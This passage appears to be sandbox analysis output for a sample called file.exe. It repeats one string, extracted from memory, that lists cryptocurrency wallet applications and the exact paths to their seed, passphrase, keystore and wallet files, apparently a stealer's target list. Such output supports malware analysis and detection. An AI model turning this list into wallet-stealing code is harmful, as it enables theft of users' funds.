Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 